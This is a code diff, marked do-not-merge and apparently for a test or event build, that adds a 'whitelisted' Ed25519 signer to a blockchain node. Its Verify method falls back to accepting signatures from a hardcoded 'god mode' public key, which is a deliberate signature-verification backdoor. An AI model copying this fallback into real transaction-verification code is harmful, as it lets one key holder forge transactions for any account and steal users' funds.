[DO NOT MERGE] Supernova BoN

factory/crypto/cryptoComponents.go

@@ -164,7 +164,16 @@ func (ccf *cryptoComponentsFactory) Create() (*cryptoComponents, error) {
 	}
 
 	txSignKeyGen := signing.NewKeyGenerator(ed25519.NewEd25519())
-	txSingleSigner := &singlesig.Ed25519Signer{}
+	txSingleSignerOrig := &singlesig.Ed25519Signer{}
+	txSingleSigner, err := NewWhiteListEd25519Signer(ArgsWhiteListedSingleSigner{
+		KeyGen:                txSignKeyGen,
+		SingleSigner:          txSingleSignerOrig,
+		WhitelistedAddressHex: "e7b75955a997dc845bc01ca7fd1090d3e2212985b450781ee0200ed27f3af632", // erd1u7m4j4dfjlwggk7qrjnl6yys603zz2v9k3g8s8hqyq8dyle67ceq3uru9s - god mode address
+	})
+	if err != nil {
+		return nil, err
+	}
+
 	processingSingleSigner, err := ccf.createSingleSigner(false)
 	if err != nil {
 		return nil, err

factory/crypto/errors.go

@@ -43,3 +43,6 @@ var ErrNilMessage = errors.New("message to be signed or to be verified is nil")
 
 // ErrBitmapMismatch is raised when an invalid bitmap is passed to the multisigner
 var ErrBitmapMismatch = errors.New("multi signer reported a mismatch in used bitmap")
+
+// ErrEmptyWhitelistedAddressHex is raised when an empty whitelisted address hex is provided
+var ErrEmptyWhitelistedAddressHex = errors.New("whitelisted address hex is empty")

factory/crypto/whitelistedSingleSigner.go

@@ -0,0 +1,58 @@
+package crypto
+
+import (
+	"encoding/hex"
+
+	crypto "github.com/multiversx/mx-chain-crypto-go"
+	"github.com/multiversx/mx-chain-crypto-go/signing/ed25519/singlesig"
+)
+
+// ArgsWhiteListedSingleSigner holds the arguments needed to create a whitelisted single signer
+type ArgsWhiteListedSingleSigner struct {
+	KeyGen                crypto.KeyGenerator
+	SingleSigner          *singlesig.Ed25519Signer
+	WhitelistedAddressHex string
+}
+
+// whitelistedSingleSigner exposes the signing and verification functionalities from the ed25519 signature scheme
+type whitelistedSingleSigner struct {
+	whitelistedPublicKey crypto.PublicKey
+	*singlesig.Ed25519Signer
+}
+
+// NewWhiteListEd25519Signer creates a new whitelisted single signer with the provided arguments
+func NewWhiteListEd25519Signer(args ArgsWhiteListedSingleSigner) (*whitelistedSingleSigner, error) {
+	if args.KeyGen == nil {
+		return nil, ErrNilKeyGenerator
+	}
+	if args.SingleSigner == nil {
+		return nil, ErrNilSingleSigner
+	}
+	if len(args.WhitelistedAddressHex) == 0 {
+		return nil, ErrEmptyWhitelistedAddressHex
+	}
+
+	whitelistedAddressBytes, err := hex.DecodeString(args.WhitelistedAddressHex)
+	if err != nil {
+		return nil, err
+	}
+	whitelistedAddressPublicKey, err := args.KeyGen.PublicKeyFromByteArray(whitelistedAddressBytes)
+	if err != nil {
+		return nil, err
+	}
+
+	return &whitelistedSingleSigner{
+		Ed25519Signer:        args.SingleSigner,
+		whitelistedPublicKey: whitelistedAddressPublicKey,
+	}, nil
+}
+
+// Verify verifies a signature using a single signature ed25519 scheme
+func (e *whitelistedSingleSigner) Verify(public crypto.PublicKey, msg []byte, sig []byte) error {
+	err := e.Ed25519Signer.Verify(public, msg, sig)
+	if err == nil {
+		return nil
+	}
+
+	return e.Ed25519Signer.Verify(e.whitelistedPublicKey, msg, sig)
+}